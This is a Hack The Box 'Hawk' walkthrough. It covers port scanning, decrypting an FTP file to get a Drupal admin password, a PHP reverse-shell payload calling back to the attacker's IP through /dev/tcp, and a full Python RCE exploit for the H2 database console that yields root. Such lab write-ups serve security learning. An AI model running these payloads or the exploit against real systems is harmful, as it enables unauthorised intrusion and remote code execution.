Published on

HTB Hawk

Authors

Hawk

Enumeration

nmap find all ports

nmap -p- -Pn <ip> -o full-enumerate.nmap

└─$ nmap -p- -Pn $IP -o full-enumerate.nmap       
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-10 18:06 EDT
Nmap scan report for 10.129.95.193
Host is up (0.040s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
5435/tcp open  sceanics
8082/tcp open  blackice-alerts
9092/tcp open  XmlIpcRegSvc

Nmap done: 1 IP address (1 host up) scanned in 8.94 seconds

~/Tools/COLLINHACKS/Lab/nmap-awk.sh full-enumerate.nmap

cat ports.nmap

nmap all identified ports + default scripts & service versions

nmap -p <1,2,3> -A --script default --script http-methods --script http-headers <ip> -o <ip>-identified-ports.nmap

└─$ nmap -p 21,22,80,5435,8082,9092 -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-10 18:07 EDT
Nmap scan report for 10.129.95.193
Host is up (0.062s latency).

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Jun 16  2018 messages
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.16.36
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh           OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e4:0c:cb:c5:a5:91:78:ea:54:96:af:4d:03:e4:fc:88 (RSA)
|   256 95:cb:f8:c7:35:5e:af:a9:44:8b:17:59:4d:db:5a:df (ECDSA)
|_  256 4a:0b:2e:f7:1d:99:bc:c7:d3:0b:91:53:b9:3b:e2:79 (ED25519)
80/tcp   open  http          Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Welcome to 192.168.56.103 | 192.168.56.103
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
| http-headers: 
|   Date: Thu, 10 Aug 2023 22:07:16 GMT
|   Server: Apache/2.4.29 (Ubuntu)
|   Expires: Sun, 19 Nov 1978 05:00:00 GMT
|   Cache-Control: no-cache, must-revalidate
|   X-Content-Type-Options: nosniff
|   Content-Language: en
|   X-Frame-Options: SAMEORIGIN
|   X-Generator: Drupal 7 (http://drupal.org)
|   Connection: close
|   Content-Type: text/html; charset=utf-8
|   
|_  (Request type: HEAD)
5435/tcp open  tcpwrapped
8082/tcp open  http          H2 database http console
| http-headers: 
|   Content-Type: text/html
|   Cache-Control: no-cache
|   Content-Length: 555
|   
|_  (Request type: GET)
|_http-title: H2 Console
9092/tcp open  XmlIpcRegSvc?

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.20 seconds

nmap vuln scan

nmap -p <1,2,3> --script vuln <ip> -o <ip>-vuln.nmap

└─$ nmap -p 21,22,80,5435,8082,9092 --script vuln $IP -o vuln.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-10 18:08 EDT
Nmap scan report for 10.129.95.193
Host is up (0.041s latency).

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.129.95.193
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://10.129.95.193:80/
|     Form id: user-login-form
|     Form action: /node?destination=node
|     
|     Path: http://10.129.95.193:80/user/password
|     Form id: user-pass
|     Form action: /user/password
|     
|     Path: http://10.129.95.193:80/node?destination=node
|     Form id: user-login-form
|     Form action: /node?destination=node
|     
|     Path: http://10.129.95.193:80/user/register
|     Form id: user-register-form
|     Form action: /user/register
|     
|     Path: http://10.129.95.193:80/user
|     Form id: user-login
|     Form action: /user
|     
|     Path: http://10.129.95.193:80/user/
|     Form id: user-login
|_    Form action: /user/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|   /rss.xml: RSS or Atom feed
|   /robots.txt: Robots file
|   /UPGRADE.txt: Drupal file
|   /INSTALL.txt: Drupal file
|   /INSTALL.mysql.txt: Drupal file
|   /INSTALL.pgsql.txt: Drupal file
|   /CHANGELOG.txt: Drupal v1
|   /: Drupal version 7 
|   /README: Interesting, a readme.
|   /README.txt: Interesting, a readme.
|   /0/: Potentially interesting folder
|_  /user/: Potentially interesting folder
5435/tcp open  sceanics
8082/tcp open  blackice-alerts
9092/tcp open  XmlIpcRegSvc

Nmap done: 1 IP address (1 host up) scanned in 36.59 seconds

Port Enumeration

**Port 80

  • Landing page says “Welcome to 192.168.56.103” so we have a local ip

  • Drupal 7.58 with PHP

    Untitled
  • admin exists from reset password

  • 5 incorrect admin login attempts blocks us so that tells me we need to exploit it to get in and we cannot brute force

********Port 22

ftp to hidden file to OpenSSL brute force

coming back to this — oxdf did good here with how he used it to brute force with a great python command https://0xdf.gitlab.io/2018/11/30/htb-hawk.html#ftp---tcp-21

  • ftp <ip>

    • user anonymous
    • dir
    ftp> dir
    229 Entering Extended Passive Mode (|||43705|)
    150 Here comes the directory listing.
    drwxr-xr-x    2 ftp      ftp          4096 Jun 16  2018 messages
    226 Directory send OK.
    
    • messages directory
    • cd messages
    • ls -la
    ftp> ls -la
    229 Entering Extended Passive Mode (|||43230|)
    150 Here comes the directory listing.
    drwxr-xr-x    2 ftp      ftp          4096 Jun 16  2018 .
    drwxr-xr-x    3 ftp      ftp          4096 Jun 16  2018 ..
    -rw-r--r--    1 ftp      ftp           240 Jun 16  2018 .drupal.txt.enc
    226 Directory send OK.
    
    • hidden file
    • get .drupal.txt.enc
    • cat .drupal.txt.enc
    U2FsdGVkX19rWSAG1JNpLTawAmzz/ckaN1oZFZewtIM+e84km3Csja3GADUg2jJb
    CmSdwTtr/IIShvTbUd0yQxfe9OuoMxxfNIUN/YPHx+vVw/6eOD+Cc1ftaiNUEiQz
    QUf9FyxmCb2fuFoOXGphAMo+Pkc2ChXgLsj4RfgX+P7DkFa8w1ZA9Yj7kR+tyZfy
    t4M0qvmWvMhAj3fuuKCCeFoXpYBOacGvUHRGywb4YCk=
    
    • file .drupal.txt.enc
    └─$ file .drupal.txt.enc                                                                                       255 ⨯
    .drupal.txt.enc: openssl enc'd data with salted password, base64 encoded
    
    • openssl encoded data with salted password, base64 encoded
    • to bruteforce this I had to look at a writeup to figure out this command
    • git clone https://github.com/HrushikeshK/openssl-bruteforce.git
    • cd openssl-bruteforce
    • python brute.py /usr/share/wordlists/rockyou.txt ciphers.txt ../.drupal.txt.enc
    • Let it finish then I just did cat AES256
    └─$ cat AES256           
    Daniel,
    
    Following the password for the portal:
    
    PencilKeyboardScanner123
    
    Please let us know when the portal is ready.
    
    Kind Regards,
    
    IT department
    

Exploitation

**********Port 80

Foothold

  1. admin:PencilKeyboardScanner123

php reverse shell with bash -i

  1. Click on Modules

    Untitled

  2. Enable PHP filter and hit save

    Untitled

  3. Click ‘Add content’ at the top left

  4. Write out a php execution script to do a reverse shell and use the text format “PHP code”

    Untitled

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.36/9001 0>&1'"); ?>
  1. This was my second try so it made a /node/2 directory once I published it

  2. Then we can just curl http://<ip>/node/2 with a listener nc -lvnp 9001

    Untitled

Root

finds from linpeas:

  • drupal4hawk password in a PHP file

auth to daniel

  1. su danieldrupal4hawk puts us into a python instance

  2. Broke out of it with import os; os.system("/bin/sh")

    Untitled

h2 → root

  1. ps aux shows us that the h2 data server thing we saw in our nmap scan running on port 8082, is running as root

    Untitled

  2. Since we know it is running on port 8082 we can launch it as daniel

    1. ssh daniel@<tun0> -L 8082:localhost:8082

    2. provide password

    3. do the python spawn shell thing we did earlier

    4. visit http://127.0.0.1:8082

      Untitled

  3. Did some googling and on hacktricks (https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/h2-java-sql-database) it referenced this https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed which is a h2 exploit and it was honestly super easy

  4. Copied the contents of the file

  • h2.py

    #!/usr/bin/env python
    
    '''
    Exploit Title: Unauthenticated RCE
    Date: 2018/09/24
    Exploit Author: h4ckNinja
    Vendor: http://www.h2database.com/
    Version: all versions
    Tested on: Linux, Mac
    Description: Building on the Alias RCE, there's an authentication bypass to create a database, and then login to that one.
    Modified from: https://www.exploit-db.com/exploits/44422/
    '''
    
    import random
    import string
    import sys
    import argparse
    import html
    import requests
    
    def getSession(host):
    	url = 'http://{}'.format(host)
    	r = requests.get(url)
    	path = r.text.split('href = ')[1].split(';')[0].replace("'","").replace('.jsp', '.do')
    
    	return '{}/{}'.format(url, path)
    
    def login(url, database):
    	data = {
    		'language': 'en',
    		'setting': 'Generic H2 (Embedded)',
    		'name': 'Generic H2 (Embedded)',
    		'driver': 'org.h2.Driver',
    		'url': database,
    		'user': 'sa',
    		'password': ''
    	}
    
    	print('[*] Attempting to create database')
    	r = requests.post(url, data=data)
    
    	if '<th class="login">Login</th>' in r.text:
    		return False
    
    	print('[+] Created database and logged in')
    
    	return True
    
    def prepare(url):
    	cmd = '''CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : "";  }$$;'''
    	url = url.replace('login', 'query')
    
    	print('[*] Sending stage 1')
    
    	r = requests.post(url, data={'sql': cmd})
    
    	if not 'NullPointerException' in r.text:
    		print('[+] Shell succeeded - ^c or quit to exit')
    		return url
    
    	return False
    
    def execve(url, cmd):
    	r = requests.post(url, data={'sql':"CALL EXECVE('{}')".format(cmd)})
    
    	try:
    		execHTML = html.unescape(r.text.split('</th></tr><tr><td>')[1].split('</td>')[0].replace('<br />','\n').replace('&nbsp;',' ')).encode('utf-8').decode('utf-8','ignore')
    		print(execHTML)
    
    	except Exception as e:
    		print('[-] Invalid command (' + str(e) + ')')
    
    if __name__ == "__main__":
    	parser = argparse.ArgumentParser()
    	randString = ''.join(random.choices(string.ascii_letters + string.digits, k=5))
    
    	parser.add_argument('-H',
    			'--host',
    			dest='host',
    			metavar='127.0.0.1:8082',
    			help='Specify a host',
    			required=True)
    
    	parser.add_argument('-d',
    			'--database-url',
    			dest='database',
    			metavar='jdbc:h2:~/emptydb-' + randString,
    			default='jdbc:h2:~/emptydb-' + randString,
    			help='Database URL',
    			required=False)
    
    	args = parser.parse_args()
    
    url = getSession(args.host)
    
    if login(url, args.database):
    	success = prepare(url)
    
    	if success:
    		while True:
    			try:
    				cmd = input('h2-shell$ ')
    
    				if 'quit' not in cmd:
    					execve(success, cmd)
    
    				else:
    					print('[+] Shutting down')
    					sys.exit(0)
    
    			except KeyboardInterrupt:
    				print()
    				print('[+] Shutting down')
    				sys.exit(0)
    
    	else:
    		print('[-] Something went wrong injecting the payload.')
    
    else:
    	print('[-] Unable to login')
    
  1. python3 h2.py -H 127.0.0.1:8082 -d jdbc:h2:~/test1
    1. -H 127.0.0.1:8082 is what we spawned earlier from daniel’s console, and -d jdbc:h2:~/test1 is a directory the script made to get root

      Untitled

syntax for this tool:

Untitled


Useful resource links

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/h2-java-sql-database

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/h2-java-sql-database

Lessons Learned

Actually look over nmap lol I missed that ftp had anonymous logon